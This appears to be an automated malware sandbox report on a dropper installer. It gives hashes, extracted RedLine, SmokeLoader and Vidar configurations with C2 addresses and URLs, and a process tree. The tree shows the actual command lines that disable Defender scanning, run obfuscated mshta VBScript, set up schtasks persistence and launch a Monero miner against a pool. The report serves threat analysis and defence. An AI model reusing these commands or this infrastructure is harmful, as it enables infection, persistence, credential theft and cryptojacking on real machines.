Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
02-12-2021 07:35
211202-je6zgsfge4 1010-09-2021 20:31
210910-za2rzaaeh3 1010-09-2021 19:40
210910-ydvmdsdffp 1010-09-2021 12:06
210910-n9s4bsdbep 1010-09-2021 05:37
210910-gbjcxahdh2 1009-09-2021 22:16
210909-17av7aghb7 1009-09-2021 22:12
210909-14mqksgha9 1009-09-2021 22:12
210909-14l42sgha8 1009-09-2021 22:11
210909-14e1qsgha7 1009-09-2021 22:11
210909-138lnacacn 10Analysis
-
max time kernel
24s -
max time network
616s -
platform
windows10_x64 -
resource
win10-de -
submitted
09-09-2021 22:12
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Malware Config
Extracted
redline
pab123
45.14.49.169:22411
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Extracted
vidar
40.5
706
https://gheorghip.tumblr.com/
-
profile_id
706
Signatures
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5908 3584 rundll32.exe 19 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6372 3584 rundll32.exe 19 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8768 3584 rundll32.exe 19 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5968 3584 rUNdlL32.eXe 19 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
resource yara_rule behavioral10/memory/4224-263-0x0000000004970000-0x000000000498F000-memory.dmp family_redline behavioral10/memory/4224-271-0x0000000004C40000-0x0000000004C5E000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral10/files/0x000500000001ab1a-172.dat family_socelars behavioral10/files/0x000500000001ab1a-144.dat family_socelars -
Vidar Stealer 2 IoCs
resource yara_rule behavioral10/memory/4604-257-0x0000000004770000-0x0000000004841000-memory.dmp family_vidar behavioral10/memory/4604-280-0x0000000000400000-0x0000000002BC5000-memory.dmp family_vidar -
resource yara_rule behavioral10/files/0x000400000001ab0c-125.dat aspack_v212_v242 behavioral10/files/0x000400000001ab0c-124.dat aspack_v212_v242 behavioral10/files/0x000400000001ab0d-123.dat aspack_v212_v242 behavioral10/files/0x000400000001ab0d-128.dat aspack_v212_v242 behavioral10/files/0x000400000001ab0f-129.dat aspack_v212_v242 behavioral10/files/0x000400000001ab0f-130.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 16 IoCs
pid Process 3480 setup_installer.exe 3848 setup_install.exe 4224 Thu21624565bb917a.exe 4296 Thu2164f292a11ce.exe 4368 Thu21a1ef054cac78a.exe 4388 Thu219d5fe8cf316.exe 4380 Thu21b9847cb6727.exe 4420 Thu21b93295136197.exe 4468 Thu21df5caa1b78de6.exe 4520 Thu21568b0ab8.exe 4556 Thu2156de5489c19.exe 4604 Thu214ce31cede21.exe 4624 Thu214aaca5625.exe 4648 Thu21b93295136197.tmp 4684 Thu2102ff6cfe07c.exe 4836 cmd.exe -
Loads dropped DLL 8 IoCs
pid Process 3848 setup_install.exe 3848 setup_install.exe 3848 setup_install.exe 3848 setup_install.exe 3848 setup_install.exe 4648 Thu21b93295136197.tmp 4648 Thu21b93295136197.tmp 4836 cmd.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 6284 icacls.exe -
resource yara_rule behavioral10/files/0x000500000001ab5b-335.dat themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 ipinfo.io 128 ip-api.com 141 ipinfo.io 292 freegeoip.app 303 freegeoip.app 333 api.2ip.ua 334 api.2ip.ua 22 ip-api.com 35 ipinfo.io 144 ipinfo.io 294 freegeoip.app 296 freegeoip.app -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
pid pid_target Process procid_target 5240 4468 WerFault.exe 100 6108 2896 WerFault.exe 122 6100 4848 WerFault.exe 117 4524 2896 WerFault.exe 122 5108 4468 WerFault.exe 100 5820 2896 WerFault.exe 122 4348 4468 WerFault.exe 100 5668 2896 WerFault.exe 122 2324 4468 WerFault.exe 100 5500 2896 WerFault.exe 122 6336 2896 WerFault.exe 122 6492 4468 WerFault.exe 100 6808 2896 WerFault.exe 122 6128 4468 WerFault.exe 100 6228 4468 WerFault.exe 100 4596 5044 WerFault.exe 113 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 8824 schtasks.exe 192 schtasks.exe 6372 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5076 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 8036 taskkill.exe 7220 taskkill.exe 6312 taskkill.exe 5800 taskkill.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 8144 PING.EXE 8488 PING.EXE -
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 31 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 41 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 143 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4284 powershell.exe 4284 powershell.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeCreateTokenPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeAssignPrimaryTokenPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeLockMemoryPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeIncreaseQuotaPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeMachineAccountPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeTcbPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeSecurityPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeTakeOwnershipPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeLoadDriverPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeSystemProfilePrivilege 4368 Thu21a1ef054cac78a.exe Token: SeSystemtimePrivilege 4368 Thu21a1ef054cac78a.exe Token: SeProfSingleProcessPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeIncBasePriorityPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeCreatePagefilePrivilege 4368 Thu21a1ef054cac78a.exe Token: SeCreatePermanentPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeBackupPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeRestorePrivilege 4368 Thu21a1ef054cac78a.exe Token: SeShutdownPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeAuditPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeSystemEnvironmentPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeChangeNotifyPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeRemoteShutdownPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeUndockPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeSyncAgentPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeEnableDelegationPrivilege 4368 Thu21a1ef054cac78a.exe Token: SeManageVolumePrivilege 4368 Thu21a1ef054cac78a.exe Token: SeImpersonatePrivilege 4368 Thu21a1ef054cac78a.exe Token: SeCreateGlobalPrivilege 4368 Thu21a1ef054cac78a.exe Token: 31 4368 Thu21a1ef054cac78a.exe Token: 32 4368 Thu21a1ef054cac78a.exe Token: 33 4368 Thu21a1ef054cac78a.exe Token: 34 4368 Thu21a1ef054cac78a.exe Token: 35 4368 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 4520 Thu21568b0ab8.exe Token: SeDebugPrivilege 4388 Thu219d5fe8cf316.exe Token: SeDebugPrivilege 4284 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4648 Thu21b93295136197.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3076 wrote to memory of 3480 3076 setup_x86_x64_install.exe 82 PID 3076 wrote to memory of 3480 3076 setup_x86_x64_install.exe 82 PID 3076 wrote to memory of 3480 3076 setup_x86_x64_install.exe 82 PID 3480 wrote to memory of 3848 3480 setup_installer.exe 83 PID 3480 wrote to memory of 3848 3480 setup_installer.exe 83 PID 3480 wrote to memory of 3848 3480 setup_installer.exe 83 PID 3848 wrote to memory of 3076 3848 setup_install.exe 86 PID 3848 wrote to memory of 3076 3848 setup_install.exe 86 PID 3848 wrote to memory of 3076 3848 setup_install.exe 86 PID 3848 wrote to memory of 1468 3848 setup_install.exe 87 PID 3848 wrote to memory of 1468 3848 setup_install.exe 87 PID 3848 wrote to memory of 1468 3848 setup_install.exe 87 PID 3848 wrote to memory of 3300 3848 setup_install.exe 89 PID 3848 wrote to memory of 3300 3848 setup_install.exe 89 PID 3848 wrote to memory of 3300 3848 setup_install.exe 89 PID 3848 wrote to memory of 4112 3848 setup_install.exe 88 PID 3848 wrote to memory of 4112 3848 setup_install.exe 88 PID 3848 wrote to memory of 4112 3848 setup_install.exe 88 PID 3848 wrote to memory of 4132 3848 setup_install.exe 90 PID 3848 wrote to memory of 4132 3848 setup_install.exe 90 PID 3848 wrote to memory of 4132 3848 setup_install.exe 90 PID 3848 wrote to memory of 4156 3848 setup_install.exe 91 PID 3848 wrote to memory of 4156 3848 setup_install.exe 91 PID 3848 wrote to memory of 4156 3848 setup_install.exe 91 PID 3848 wrote to memory of 4172 3848 setup_install.exe 92 PID 3848 wrote to memory of 4172 3848 setup_install.exe 92 PID 3848 wrote to memory of 4172 3848 setup_install.exe 92 PID 3848 wrote to memory of 4192 3848 setup_install.exe 93 PID 3848 wrote to memory of 4192 3848 setup_install.exe 93 PID 3848 wrote to memory of 4192 3848 setup_install.exe 93 PID 3848 wrote to memory of 4212 3848 setup_install.exe 94 PID 3848 wrote to memory of 4212 3848 setup_install.exe 94 PID 3848 wrote to memory of 4212 3848 setup_install.exe 94 PID 3300 wrote to memory of 4224 3300 cmd.exe 95 PID 3300 wrote to memory of 4224 3300 cmd.exe 95 PID 3300 wrote to memory of 4224 3300 cmd.exe 95 PID 3848 wrote to memory of 4244 3848 setup_install.exe 141 PID 3848 wrote to memory of 4244 3848 setup_install.exe 141 PID 3848 wrote to memory of 4244 3848 setup_install.exe 141 PID 3848 wrote to memory of 4268 3848 setup_install.exe 140 PID 3848 wrote to memory of 4268 3848 setup_install.exe 140 PID 3848 wrote to memory of 4268 3848 setup_install.exe 140 PID 3076 wrote to memory of 4284 3076 cmd.exe 139 PID 3076 wrote to memory of 4284 3076 cmd.exe 139 PID 3076 wrote to memory of 4284 3076 cmd.exe 139 PID 4132 wrote to memory of 4296 4132 cmd.exe 96 PID 4132 wrote to memory of 4296 4132 cmd.exe 96 PID 4132 wrote to memory of 4296 4132 cmd.exe 96 PID 3848 wrote to memory of 4324 3848 setup_install.exe 97 PID 3848 wrote to memory of 4324 3848 setup_install.exe 97 PID 3848 wrote to memory of 4324 3848 setup_install.exe 97 PID 3848 wrote to memory of 4348 3848 setup_install.exe 163 PID 3848 wrote to memory of 4348 3848 setup_install.exe 163 PID 3848 wrote to memory of 4348 3848 setup_install.exe 163 PID 4112 wrote to memory of 4368 4112 cmd.exe 111 PID 4112 wrote to memory of 4368 4112 cmd.exe 111 PID 4112 wrote to memory of 4368 4112 cmd.exe 111 PID 4172 wrote to memory of 4380 4172 cmd.exe 110 PID 4172 wrote to memory of 4380 4172 cmd.exe 110 PID 1468 wrote to memory of 4388 1468 cmd.exe 99 PID 1468 wrote to memory of 4388 1468 cmd.exe 99 PID 4156 wrote to memory of 4420 4156 cmd.exe 108 PID 4156 wrote to memory of 4420 4156 cmd.exe 108 PID 4156 wrote to memory of 4420 4156 cmd.exe 108
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS89D34004\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4284
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4388 -
C:\ProgramData\8780590.exe"C:\ProgramData\8780590.exe"6⤵PID:5044
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5044 -s 19927⤵
- Program crash
PID:4596
-
-
-
C:\ProgramData\4966603.exe"C:\ProgramData\4966603.exe"6⤵PID:828
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:5484
-
-
-
C:\ProgramData\880955.exe"C:\ProgramData\880955.exe"6⤵PID:5252
-
-
C:\ProgramData\1628390.exe"C:\ProgramData\1628390.exe"6⤵PID:5472
-
-
C:\ProgramData\8025079.exe"C:\ProgramData\8025079.exe"6⤵PID:6080
-
-
C:\ProgramData\6861135.exe"C:\ProgramData\6861135.exe"6⤵PID:5832
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\6861135.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\6861135.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )7⤵PID:2328
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\6861135.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\6861135.exe" ) do taskkill /Im "%~NxB" /F8⤵PID:6384
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵PID:6968
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )10⤵PID:7120
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F11⤵PID:6764
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S10⤵PID:7836
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "6861135.exe" /F9⤵
- Kills process with taskkill
PID:6312
-
-
-
-
-
C:\ProgramData\4881021.exe"C:\ProgramData\4881021.exe"6⤵PID:5568
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21a1ef054cac78a.exeThu21a1ef054cac78a.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4368 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2244
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:5800
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵
- Executes dropped EXE
PID:4224
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu2164f292a11ce.exeThu2164f292a11ce.exe5⤵
- Executes dropped EXE
PID:4296
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
PID:4420
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21b9847cb6727.exeThu21b9847cb6727.exe5⤵
- Executes dropped EXE
PID:4380
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵PID:4192
-
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu214ce31cede21.exeThu214ce31cede21.exe5⤵
- Executes dropped EXE
PID:4604 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Thu214ce31cede21.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu214ce31cede21.exe" & del C:\ProgramData\*.dll & exit6⤵PID:192
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Thu214ce31cede21.exe /f7⤵
- Kills process with taskkill
PID:8036
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:5076
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵PID:4212
-
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu2156de5489c19.exeThu2156de5489c19.exe5⤵
- Executes dropped EXE
PID:4556 -
C:\Users\Admin\AppData\Local\Temp\tmp2262_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp2262_tmp.exe"6⤵PID:4888
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵PID:4324
-
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21568b0ab8.exeThu21568b0ab8.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4520 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:2924
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵PID:4880
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:6168
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:192
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵PID:4368
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:8212
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
PID:8824
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵PID:8308
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵PID:7196
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵PID:4544
-
C:\ProgramData\4968487.exe"C:\ProgramData\4968487.exe"8⤵PID:5116
-
-
C:\ProgramData\4599401.exe"C:\ProgramData\4599401.exe"8⤵PID:1648
-
-
C:\ProgramData\7405645.exe"C:\ProgramData\7405645.exe"8⤵PID:6440
-
-
C:\ProgramData\1087650.exe"C:\ProgramData\1087650.exe"8⤵PID:6880
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵PID:4848
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4848 -s 15648⤵
- Program crash
PID:6100
-
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵PID:4824
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:2896
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 8088⤵
- Program crash
PID:6108
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 8408⤵
- Program crash
PID:4524
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 8568⤵
- Program crash
PID:5820
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 8768⤵
- Program crash
PID:5668
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 9648⤵
- Program crash
PID:5500
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 9368⤵
- Program crash
PID:6336
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 10608⤵
- Program crash
PID:6808
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:5436
-
C:\Users\Admin\AppData\Local\Temp\is-8T3KM.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-8T3KM.tmp\setup_2.tmp" /SL5="$102E8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵PID:5656
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵PID:5864
-
C:\Users\Admin\AppData\Local\Temp\is-EI6MP.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-EI6MP.tmp\setup_2.tmp" /SL5="$302DE,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵PID:6028
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵PID:5648
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵PID:5404
-
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"7⤵PID:5280
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵PID:4308
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\WINsoft\43523.bat" "9⤵PID:6616
-
C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exeHWI.exe10⤵PID:4736
-
C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exeHWI.exe11⤵PID:6464
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"12⤵PID:6616
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"13⤵PID:4700
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\14⤵PID:4480
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\15⤵PID:6416
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe" /F14⤵
- Creates scheduled task(s)
PID:6372
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\WINsoft\FoxyIDM62s.exeFoxyIDM62s.exe10⤵PID:2316
-
